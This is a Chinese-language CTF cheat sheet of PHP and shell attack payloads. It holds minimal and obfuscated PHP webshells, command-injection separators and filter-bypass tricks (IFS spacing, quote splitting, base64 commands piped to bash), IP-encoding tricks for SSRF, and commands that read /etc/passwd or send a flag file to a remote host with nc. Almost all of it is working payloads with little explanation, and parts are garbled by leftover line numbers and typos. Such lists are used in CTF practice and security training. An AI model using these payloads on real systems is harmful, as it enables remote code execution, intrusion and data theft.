Web手册
PHP - CTF - WEB 相关技巧
超短shell
1 2 3 4 5
|
payload: 没开短标签<?=`. /t*/*`; 开了短标签<?`. /t*/*`;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| #无参 payload: <?= `whoami`?> <?=`$_GET[1]`?> <?=`. /t*/*`; <?= include$_GET[1];?>
#参数-%a0 payload:?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
#变形shell payload: <?php $_ = "!((%)("^"@[[@[\\"; $__ = "!+/(("^"~{`{|"; $___ = $$__; $_($___[_]);
#变形shell(php7)
payload: http: <?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
#变形shell payload: <?php $_++; $__ = "极"; $___ = ~($__{$_}); $__ = "区"; $___ .= ~($__{$_}); $___ .= ~($__{$_}); $__ = "皮"; $___ .= ~($__{$_}); $__ = "十"; $___ .= ~($__{$_}); $__ = "勺"; $___ .= ~($__{$_}); $____ = '_'; $__ = "寸"; $____ .= ~($__{$_}); $__ = "小"; $____ .= ~($__{$_}); $__ = "欠"; $____ .= ~($__{$_}); $__ = "立"; $____ .= ~($__{$_}); $_ = $$____; $___($_[_]);
#变形shell payload: <?php $_ = ~"%9e%8c%8c%9a%8d%8b"; $__ = ~"%a0%af%b0%ac%ab"; $___ = $$__; $_($___[_]);
#过滤; payload: 分号我们只是用在结束PHP语句上,我们只要把所有的PHP语句改成短标签形式,就可以不使用;了。
#过滤$ payload: 过滤了$的影响是我们彻底不能构造变量了。
#php7-执行whoami payload:?cmd=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
payload:?cmd=${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
payload:?cmd=${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
payload:<?=$_?>
payload:
|
命令执行
1 2 3 4
| payload: cat /*
ls > a.txt
|
下所有文件包括flag
使用内联执行会将
``内的输出作为前面命令的输入,当我们输入上述payload时,等同于cat
falg.php;cat index.php
linux已有·字符
${PS2} 对应字符 '>'
${PS4} 对应字符 '+'
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
连接命令
payload:&
payload:&&
payload:|
payload:||
payload:;
#命令分隔---linuxpayload:%0a
payload:%0d
#命令分隔0---windows
payload:%0a
payload:&
payload:|
payload:||
payload:&&
通配符读取
在正则表达式中,?
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
在 Shell
命令行中,?
这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道*
通配符:
在正则表达式中,*
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
在shell命令行中,*
这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。
1 2 3 4 5 6 7 8 9 10 11 12
| cat /fla? cat /fla* cat /fla???? cat /fla* cat /fla??/fla???? cat /fla*/fla* cat /?????/fla? cat /?????/fla*
|
替换空格
1 2 3 4 5 6 7 8 9
| payload:$IFS$1 payload:$IFS payload:${IFS} payload:< payload:<> payload:%20 [space] payload:%09 [tab]
payload: {cat,/etc/passwd} //绕过空格限制
|
变量拼接
1 2
| payload: http://xx.com/xx.php?cmd=127.0.0.1;a=g;cat$IFS$1fla$a.php
|
sh替换bash
1 2 3
| # # echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
|
关键字过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| payload:$* payload:$@ payload:$x [x=1~9] payload:${x} [x>=10]没有传参情况下,特殊变量皆为空
payload:ca\t payload:who\ami payload:wh$1oami payload:who$@ami payload:who$*ami
payload:tac
payload:c`a`t payload:chmo""d payload:chmo''d
&/bin/c*t …/key.p?p &/bin/c’a’t …/key.p?p &/bin/c"a"t …/key.p?p &/bin/c\a\t …/key.p?p
&a=c;b=at;a aab …/key.p?p
payload:echo `Y2F0IHN0YXJ0LnNo`|base64 -d |bash payload:echo 63617420666c61672e706870 | xxd -r -p|bash payload:(printf"\154\163") payload:(printf"\x63\x61\x74\x20\x73\x74\x61\x72\x74\x2e\x73\x68") payload: payload:
|
黑名单绕过
1 2 3 4 5
| payload: a=c;b=at;c=flag;$a$b $c
payload:
|
网络地址转化数字
1 2 3 4 5
| payload: http:127.0.0.1 ---> http://2130706433 ---> http://0x7F000001
转化工具:http://www.msxindl.com/tools/ip/ip_num.asp
|
花式读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| cat: 由第一行开始显示内容,并将所有内容输出 tac: 从最后一行倒序显示内容,并将所有内容输出 more: 根据窗口大小,一页一页的现实文件内容 less: 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head: 只显示头几行 tail: 只显示最后几行 nl: 类似于cat -n,显示时输出行号 tailf:类似于tail -f sort%20/flag 读文件 dir 来查看当前目录文件
od -a ./flag.txt 以二进制查看 base64 -d ./flag.txt 以base64解码查看 static -sh ./flag.txt paste ./flag.txt diff ./flag.txt bzmore ./flag.txt bzless ./flag.txt curl file:///var/www/html/flag.txt nc 10.10.10.10 444 < /var/www/html/flag.txt 配合 nc -l 4444 >flag.txt wget url -P path
sort vi vim xxd cp awk nano
|